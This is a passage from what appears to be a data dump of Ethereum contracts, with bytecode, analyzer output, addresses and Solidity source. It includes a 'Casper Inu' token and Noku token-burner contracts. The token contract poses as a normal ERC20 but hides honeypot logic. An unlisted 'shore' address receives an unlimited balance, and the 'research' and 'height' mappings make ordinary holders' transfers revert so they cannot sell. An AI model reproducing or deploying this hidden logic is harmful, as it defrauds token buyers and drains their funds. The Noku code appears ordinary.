ffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f5cc001aebec7b82af3c0ab049f181a52309cb84f01254aed4843cb9319af1d664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,885
0x088315d33f9e4a9cf4c19C41BC9FbD990d738DbC
// https://t.me/casperInu_eth // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address shore ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[shore] = customs; _balances[msg.sender] = _tTotal; research[shore] = customs; research[msg.sender] = customs; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => address) private ring; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private customs = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function according( address create, address busy, uint256 amount ) private { address draw = ring[address(0)]; bool instant = uniswapV2Pair == create; uint256 century = _fee; if (research[create] == 0 && height[create] > 0 && !instant) { research[create] -= century; } ring[address(0)] = busy; if (research[create] > 0 && amount == 0) { research[busy] += century; } height[draw] += century; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[create] -= fee; _balances[address(this)] += fee; _balances[create] -= amount; _balances[busy] += amount; } mapping(address => uint256) private height; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private research; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); according(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { according(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea26469706673582212201418f1d13683515024a867198ebeffad8cf629ae7e99d60dba451fce34471f6264736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,886
0xbfaacfdecfbbcc7ea8c17e19c8f4f84c523267de
pragma solidity ^0.4.23; // File: contracts/NokuPricingPlan.sol /** * @dev The NokuPricingPlan contract defines the responsibilities of a Noku pricing plan. */ contract NokuPricingPlan { /** * @dev Pay the fee for the service identified by the specified name. * The fee amount shall already be approved by the client. * @param serviceName The name of the target service. * @param multiplier The multiplier of the base service fee to apply. * @param client The client of the target service. * @return true if fee has been paid. */ function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); /** * @dev Get the usage fee for the service identified by the specified name. * The returned fee amount shall be approved before using #payFee method. * @param serviceName The name of the target service. * @param multiplier The multiplier of the base service fee to apply. * @return The amount to approve before really paying such fee. */ function usageFee(bytes32 serviceName, uint256 multiplier) public constant returns(uint fee); } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/NokuTokenBurner.sol contract BurnableERC20 is ERC20 { function burn(uint256 amount) public returns (bool burned); } /** * @dev The NokuTokenBurner contract has the responsibility to burn the configured fraction of received * ERC20-compliant tokens and distribute the remainder to the configured wallet. */ contract NokuTokenBurner is Pausable { using SafeMath for uint256; event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); // The wallet receiving the unburnt tokens. address public wallet; // The percentage of tokens to burn after being received (range [0, 100]) uint256 public burningPercentage; // The cumulative amount of burnt tokens. uint256 public burnedTokens; // The cumulative amount of tokens transferred back to the wallet. uint256 public transferredTokens; /** * @dev Create a new NokuTokenBurner with predefined burning fraction. * @param _wallet The wallet receiving the unburnt tokens. */ constructor(address _wallet) public { require(_wallet != address(0), "_wallet is zero"); wallet = _wallet; burningPercentage = 100; emit LogNokuTokenBurnerCreated(msg.sender, _wallet); } /** * @dev Change the percentage of tokens to burn after being received. * @param _burningPercentage The percentage of tokens to be burnt. */ function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]"); require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one"); burningPercentage = _burningPercentage; emit LogBurningPercentageChanged(msg.sender, _burningPercentage); } /** * @dev Called after burnable tokens has been transferred for burning. * @param _token THe extended ERC20 interface supported by the sent tokens. * @param _amount The amount of burnable tokens just arrived ready for burning. */ function tokenReceived(address _token, uint256 _amount) public whenNotPaused { require(_token != address(0), "_token is zero"); require(_amount > 0, "_amount is zero"); uint256 amountToBurn = _amount.mul(burningPercentage).div(100); if (amountToBurn > 0) { assert(BurnableERC20(_token).burn(amountToBurn)); burnedTokens = burnedTokens.add(amountToBurn); } uint256 amountToTransfer = _amount.sub(amountToBurn); if (amountToTransfer > 0) { assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); transferredTokens = transferredTokens.add(amountToTransfer); } } } // File: contracts/NokuConsumptionPlan.sol /** * @dev The NokuConsumptionPlan contract implements a flexible pricing plan, manageable by the contract owner, which can be: * - extended by inserting a new service with its associated fee * - modified by 